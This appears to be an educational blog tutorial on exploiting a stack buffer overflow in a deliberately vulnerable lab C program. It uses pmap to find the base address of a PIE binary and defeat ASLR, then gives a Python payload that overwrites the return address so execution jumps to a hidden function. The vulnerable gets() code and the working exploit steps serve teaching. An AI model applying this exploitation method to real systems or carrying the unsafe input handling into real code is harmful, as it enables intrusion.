Shattering the stack (1)
This is a follow-up to the previous post where we began exploring the world of buffer overflows. Now, we will examine how to circumvent ASLR using pmap (or any similar tool that can determine randomized addresses at runtime). The source code is available here.
vulnerable code
We are using the same C code to demonstrate a simple buffer overflow vulnerability (due to the use of the unsafe gets() function):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gets() was removed from the C11 standard
char* gets(char* str);
int authenticate(void)
{
char buff[10];
char cmd[10];
int auth = 0;
puts("enter the password:");
gets(buff);
if(strcmp(buff, "12345"))
{
puts("wrong password");
}
else
{
puts("correct password");
auth = 1;
}
if(auth)
{
puts("authenticated");
puts("your files:");
strcpy(cmd, "ls");
system(cmd);
}
return 0;
}
int main(void)
{
authenticate();
return 0;
}
void secret(void)
{
puts("secret found!");
}
exploit
Let’s compile and inspect the binary:
$ gcc lab/bof-server.c -g -o build/bof-server -fPIE -pie
...
$ objdump -f build/bof-server
build/bof-server: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000001080
The flags include DYNAMIC which means the binary is meant to be used with dynamic linking. This flag is typically seen in shared libraries and PIE executables. We can also see a relatively low start address. For non-PIE executables the start address is usually a fixed higher address:
$ gcc lab/bof-server.c -g -o build/bof-server
...
$ objdump -f build/bof-server
build/bof-server: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401070
Now we verified our binary is indeed a PIE executable meaning if ASLR is activated the addresses will be randomized when we run the executable:
$ ./build/bof-server
enter the password:
Open an other terminal:
$ ps a | grep bof-server
45008 pts/0 S+ 0:00 ./build/bof-server
...
$ pmap -x 45008
45008: ./build/bof-server
Address Kbytes RSS Dirty Mode Mapping
0000561f40f3e000 4 4 0 r---- bof-server
0000561f40f3f000 4 4 0 r-x-- bof-server
0000561f40f40000 4 4 0 r---- bof-server
0000561f40f41000 4 4 4 r---- bof-server
0000561f40f42000 4 4 4 rw--- bof-server
0000561f42cf9000 132 4 4 rw--- [ anon ]
00007f20ed234000 8 4 4 rw--- [ anon ]
00007f20ed236000 152 148 0 r---- libc.so.6
00007f20ed25c000 1396 720 0 r-x-- libc.so.6
00007f20ed3b9000 308 64 0 r---- libc.so.6
00007f20ed406000 16 16 16 r---- libc.so.6
00007f20ed40a000 8 8 8 rw--- libc.so.6
00007f20ed40c000 40 28 28 rw--- [ anon ]
00007f20ed434000 4 4 0 r---- ld-linux-x86-64.so.2
00007f20ed435000 156 156 0 r-x-- ld-linux-x86-64.so.2
00007f20ed45c000 40 40 0 r---- ld-linux-x86-64.so.2
00007f20ed466000 8 8 8 r---- ld-linux-x86-64.so.2
00007f20ed468000 8 8 8 rw--- ld-linux-x86-64.so.2
00007ffcce354000 132 12 12 rw--- [ stack ]
00007ffcce37e000 16 0 0 r---- [ anon ]
00007ffcce382000 8 4 0 r-x-- [ anon ]
ffffffffff600000 4 0 0 --x-- [ anon ]
---------------- ------- ------- -------
total kB 2456 1244 96
Our goal is once again to jump to our secret() function:
$ objdump -d build/bof-server
...
0000000000001228 <secret>:
1228: 55 push %rbp
1229: 48 89 e5 mov %rsp,%rbp
122c: 48 8d 05 25 0e 00 00 lea 0xe25(%rip),%rax # 2058 <_IO_stdin_used+0x58>
1233: 48 89 c7 mov %rax,%rdi
1236: e8 f5 fd ff ff call 1030 <puts@plt>
123b: 90 nop
123c: 5d pop %rbp
123d: c3 ret
...
The address 0x0000000000001228 is relative to the base address of our running process, so if it is 0x0000561f40f3e000 as we saw above then the address of secret() will be 0x0000561f40f3e000 + 0x0000000000001228.
There are 2 problems:
- the base address will be only known after we run
bof-server - there is a high chance our address will contain non-printable characters like
\x10, and passing these to a command-line executable can be tricky, especially if we are using a standard shell or command prompt, as these environments typically don’t handle non-printable characters well in direct input
As a solution to these problems we will use the Python interpreter to run bof-server and pass our password (payload) to it:
$ python
Python 3.11.6 (main, Oct 3 2023, 00:00:00) [GCC 13.2.1 20230728 (Red Hat 13.2.1-1)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> cmd = ['stdbuf', '-o0', './build/bof-server']
>>> proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Note: stdbuf -o0 sets the stdout stream buffering mode to unbuffered. This is necessary because without this some of the stdout was lost (stdout was almost empty after calling proc.communicate()).
Now our process is waiting for our password input so we can check the base address:
$ ps a | grep bof-server
46104 pts/0 S+ 0:00 ./build/bof-server
...
$ pmap -x 46104
46104: ./build/bof-server
Address Kbytes RSS Dirty Mode Mapping
00005651e7c8a000 4 4 0 r---- bof-server
...
Then calculate the address of secret() and pass our payload:
>>> hex(0x00005651e7c8a000+0x1228)
'0x5651e7c8b228'
>>> password = b'aaaaaaaaaabbbbcccccccc\x28\xb2\xc8\xe7\x51\x56'
>>> proc.stdin.write(password)
28
>>> proc.communicate()
(b'enter the password:\nwrong password\nauthenticated\nyour files:\narsenal\nbuild\nCargo.lock\nCargo.toml\nlab\nLICENSE\nMakefile\nREADME.md\ntarget\nsecret found!\n', b'')
>>> exit()
proc.communicate() returns the stdout and stderr logs. As we can see secret() was called because we see secret found! in the output.
References: